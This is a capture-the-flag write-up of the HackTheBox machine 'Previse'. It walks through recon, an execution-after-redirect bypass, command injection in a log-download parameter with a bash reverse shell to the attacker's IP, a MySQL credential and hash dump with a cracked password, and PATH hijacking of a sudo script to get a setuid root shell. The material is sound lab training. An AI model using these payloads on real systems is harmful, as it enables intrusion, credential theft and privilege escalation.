← Back to Writeups
HTBEasyMachine
Bookmark

Previse

D3v0o0Nu119/2/20266 min read
#machine#htb#easy#ubuntu

Previse

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Previse (Ubuntu, attack surface: Apache httpd 2.4.29 ((Ubuntu)) (80), OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22)). Foothold via command injection; privilege escalation via sudo, cron. Both flags captured and redacted.

Recon

Port scan

 bash 
nmap -p- 10.10.11.104 -sVC --min-rate 1000
PortServiceVersionNotes
22sshOpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80httpApache httpd 2.4.29 ((Ubuntu))

Enumeration highlights

  • Detected OS: Ubuntu.
  • Open services: http (80), ssh (22).
  • Scan used: nmap -p- 10.10.11.104 -sVC --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- 10.10.11.104 -sVC --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 22:52 PDT
Nmap scan report for 10.10.11.104
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53ed4440116e8bda698579c081f23a12 (RSA)
|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)
|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.77 seconds

  1. Based from the nmap results, the machine runs a web application and opens ssh login.

  2. After ran dirbuster shall found several files.

  3. Checking every endpoint with 200 as it status code, turns out nav.php should be our interest.

  4. Click the CREATE ACCOUNT option shall redirect you to the login page.

  5. Interesting! Intercept the request for that option usingh burpsuite shall resulting to another interesting part.

NOTICED IT DIRECTS US TO ACCOUNT.PHP

  1. The interesting part is at the response tab where it says ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!.

  2. Reviewing the source code at the response tab, you shall notice that it leaked all the parameter we need to make an account.

  3. Anyway, accessing the root (/) page, shall redirect us to login.php.

  4. This type of thing is related to Execution After Redirect (EAR) Vulnerability.

  5. To exploit this vulnerability we can turn on Server Response Interception in Burp Proxy. This should allows us to pause or intercept the response (tp prevent it redirected to the another page).

TURNING ON SERVER RESPONSE INTERCEPTION

TRY ACCESSING ROOT AGAIN

  1. Noticed we are also logged in here.

NOTES: Anyway another method if you did not want to intercept the response, you can simply intercept the request then right click, then choose --> "Response to this request".

  1. To access all the page from the navbar option, use the same method as to access the root page.

accounts.php page

files.php page

status.php page

file_logs.php

log.php (choosing any file delimiter shall resulting to a blank page).

  1. Found several pages that could be our foothold, but two pages caught my attention fully, the accounts.php page and files.php page.
  2. After registered dummy account, we can logged in and see all the pages without burp again.

CREATING ACCOUNR

LOGGING IN

  1. Great! Now let's download the attached .zip file.

  2. Turns out it's the source code!

  3. Reviewing the config.php source shall found a mysql cred.

  4. But we can't access it, because it's the port is not opened.

  5. Long story short, we know that everytime we submit a delimiter it shows us blank page, but this time it downloads a file.

RESULT (ALL)

  1. All of them shows the same data.

  2. Interesting, reviewing the logs.php source found command injection vuln.

  3. There is no filter! Great, this should be our foothold.

  4. Let's capture the request again using burpsuite.

  5. To test whether our argument is true or not, we can use bash command to ping our tun0 interface then check it on our local machine.

COMMAND

delim=comma;ping -c 4 10.10.16.23 #

delim=comma;ping%20-c%204%2010.10.16.23%20#
  1. Great! It indeed execute our bash command, we can drop our reverse shell now.

REVSHELL PAYLOAD

;bash -c 'bash -i >& /dev/tcp/10.10.16.23/1337 0>&1';

%3Bbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E16%2E23%2F1337%200%3E%261%27%3B

  1. Sadly we can't get the user flag.

  2. Let's use the mysql cred we got before.

  3. Anyway the shell is not stable, everytime you ran sql syntax, it executes the command then terminate the shell.

  4. There's two ways to fix this, make the shell stable or use -e flag.

  5. Long story short, found creds at --> previse database and accounts table.

www-data@previse:/var/www/html$ mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)' previse -e 'show tables;'
<oot -p'mySQL_p@ssw0rd!:)' previse -e 'show tables;'
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_previse
accounts
files

www-data@previse:/var/www/html$ mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)' previse -e 'select * from accounts;'
<L_p@ssw0rd!:)' previse -e 'select * from accounts;'
mysql: [Warning] Using a password on the command line interface can be insecure.
id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36
2       brandy  $1$🧂llol$QU5sYupds4bbeJz3SSAuj0        2023-10-14 07:21:53
www-data@previse:/var/www/html$
  1. Great! Let's crack the m4lwhere password using john.
┌──(D3v0o0Nu11㉿htb)-[~]
└─$ hashid $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
Analyzing '$🧂llol.'
[+] Unknown hash

  1. Stuck for a while, because hashid failed to identify the potential hash algorithm.

  2. Reviewing the accounts.php source again, you shall find the hash algorithm there.

  3. The 1$ indicates the hash is md5, hence we can use md5crypt-long module.

m4lwhere:ilovecody112235!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

We always make sure to store logs, we take security SERIOUSLY here

I know I shouldnt run this as root but I cant figure it out programmatically on my account

This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz


36. This attack is known as **PATH HIJACKING**.
37. Let's go to **/tmp** then use this template payload and embed it to a file named **gzip**.

> TEMPLATE PAYLOAD

#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash'


> FULL COMMAND

echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip


38. Then export the path so it adds the /tmp directory to the beginning of the system's PATH variable, affecting how the system searches for executable files.

export PATH=/tmp:$PATH


39. Then run `chmox +x gzip` and run the **access_backup.sh** script.

> RESULT FROM ALL

m4lwhere@previse:/tmp$ echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip m4lwhere@previse:/tmp$ ls gzip systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-apache2.service-UYXjFr systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-systemd-resolved.service-CXO5Ar systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-systemd-timesyncd.service-y0Y4E9 vmware-root_811-4290756501 m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH m4lwhere@previse:/tmp$ chmod +x gzip m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh [sudo] password for m4lwhere: m4lwhere@previse:/tmp$ ls -lh total 1.1M -rwsr-xr-x 1 root root 1.1M Oct 14 09:28 bash -rwxrwxr-x 1 m4lwhere m4lwhere 55 Oct 14 09:24 gzip drwx------ 3 root root 4.0K Oct 14 05:50 systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-apache2.service-UYXjFr drwx------ 3 root root 4.0K Oct 14 05:50 systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-systemd-resolved.service-CXO5Ar drwx------ 3 root root 4.0K Oct 14 05:50 systemd-private-40a2e03ac44c480fbcf76e94b6bdf71c-systemd-timesyncd.service-y0Y4E9 drwx------ 2 root root 4.0K Oct 14 05:50 vmware-root_811-4290756501


40. Finally, simply run **bash -p** and we gained root!

Root flag: `REDACTED`

## Flags
| Flag | Value |
|------|-------|
| user | `REDACTED` |
| root | `REDACTED` |

## Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.